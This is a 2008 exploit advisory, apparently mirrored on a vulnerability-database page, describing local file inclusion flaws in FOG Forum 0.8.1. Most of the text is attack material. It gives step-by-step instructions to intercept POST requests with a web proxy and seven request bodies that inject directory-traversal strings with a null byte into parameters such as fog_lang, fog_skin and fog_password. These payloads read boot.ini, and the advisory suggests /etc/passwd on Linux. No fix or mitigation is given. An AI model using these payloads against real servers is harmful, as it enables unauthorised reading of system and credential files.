FOG Forum 0.8.1 Multiple Local File Inclusion Vulnerabilities

🗓️ 11 Jun 2008 00:00:00Reported by RootType
FOG Forum 0.8.1 Multiple Local File Inclusion Vulnerabilities, Exploit via POST Method, Vulnerable File/Pat

                                                =======================================================
&nbsp;FOG&nbsp;Forum&nbsp;0.8.1&nbsp;Local&nbsp;File&nbsp;Inclusion&nbsp;Vulnerabilities
=======================================================

&nbsp;&nbsp;,--^----------,--------,-----,-------^--,
&nbsp;&nbsp;|&nbsp;|||||||||&nbsp;&nbsp;&nbsp;`--------'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O	..&nbsp;CWH&nbsp;Underground&nbsp;Hacking&nbsp;Team&nbsp;..
&nbsp;&nbsp;`+---------------------------^----------|
&nbsp;&nbsp;&nbsp;&nbsp;`\_,-------,&nbsp;_________________________|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/`|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/&nbsp;&nbsp;`\&nbsp;&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/\______(
&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/
&nbsp;(________(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;`------'

AUTHOR&nbsp;:&nbsp;CWH&nbsp;Underground
DATE&nbsp;&nbsp;&nbsp;:&nbsp;10&nbsp;June&nbsp;2008
SITE&nbsp;&nbsp;&nbsp;:&nbsp;www.citec.us


#####################################################
&nbsp;APPLICATION&nbsp;:&nbsp;FOG&nbsp;Forum&nbsp;-&nbsp;PHP&nbsp;Board&nbsp;Engine
&nbsp;VERSION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;0.8.1
&nbsp;VENDOR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://fog.daviveno.org
&nbsp;DOWNLOAD&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://fog.daviveno.org/streamearth/go_dl.php?download=1
#####################################################

---Local&nbsp;File&nbsp;Inclusion&nbsp;Exploit&nbsp;(POST&nbsp;Method)---

---Description---

[+]Use&nbsp;Web&nbsp;Proxy&nbsp;(Web&nbsp;Scarab,&nbsp;Burb&nbsp;Proxy,&nbsp;etc...)&nbsp;to&nbsp;intercept&nbsp;POST&nbsp;Method&nbsp;and&nbsp;edit&nbsp;in&nbsp;request&nbsp;data.
[+]All&nbsp;LFI&nbsp;Exploits&nbsp;were&nbsp;Vulnerablilities&nbsp;with&nbsp;POST&nbsp;Method

##############################################
Vulnerable&nbsp;File/Path:

[+]http://[Target]/[Path]/index.php

##############################################

---LFI&nbsp;Exploits&nbsp;(Use&nbsp;WebScarab&nbsp;to&nbsp;Edit&nbsp;request&nbsp;data)---

Send&nbsp;Request&nbsp;Data:

fog_skin=default&amp;fog_lang=../../../../../../../../boot.ini%00
fog_skin=../../../../../../../../boot.ini%00&amp;fog_lang=francais
fog_pseudo=../../../../../../../../boot.ini%00&amp;[email protected]&amp;fog_cook=0&amp;fog_action=0&amp;[email protected]&amp;fog_path=http://localhost/forum/index.php
fog_posted=../../../../../../../../boot.ini%00&amp;[email protected]&amp;[email protected]&amp;fog_cook=0
fog_posted=1&amp;fog_pseudo=../../../../../../../../boot.ini%00&amp;[email protected]&amp;fog_cook=0
fog_posted=1&amp;[email protected]&amp;fog_password=../../../../../../../../boot.ini%00&amp;fog_cook=0
fog_posted=1&amp;[email protected]&amp;[email protected]&amp;fog_cook=../../../../../../../../boot.ini%00

Note:&nbsp;This&nbsp;exploit&nbsp;will&nbsp;open&nbsp;boot.ini&nbsp;in&nbsp;system&nbsp;file:

[boot&nbsp;loader]&nbsp;timeout=30&nbsp;default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS&nbsp;[operating&nbsp;systems]&nbsp;multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS=&quot;Microsoft&nbsp;Windows&nbsp;XP&nbsp;Professional&quot;&nbsp;/noexecute=optin&nbsp;/fastdetect&nbsp;[boot&nbsp;loader]&nbsp;timeout=30&nbsp;default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS&nbsp;[operating&nbsp;systems]&nbsp;multi(0)disk(0)rdisk(0)partition(1)\WINDOWS=&quot;Microsoft&nbsp;Windows&nbsp;XP&nbsp;Professional&quot;&nbsp;/noexecute=optin&nbsp;/fastdetect

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You&nbsp;can&nbsp;change&nbsp;boot.ini&nbsp;to&nbsp;/etc/passwd%00&nbsp;in&nbsp;linux&nbsp;OS.

##################################################################
#&nbsp;Greetz:&nbsp;ZeQ3uL,&nbsp;BAD&nbsp;$ectors,&nbsp;Snapter,&nbsp;Conan,&nbsp;JabAv0C,&nbsp;Win7dos&nbsp;&nbsp;#
##################################################################
11 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1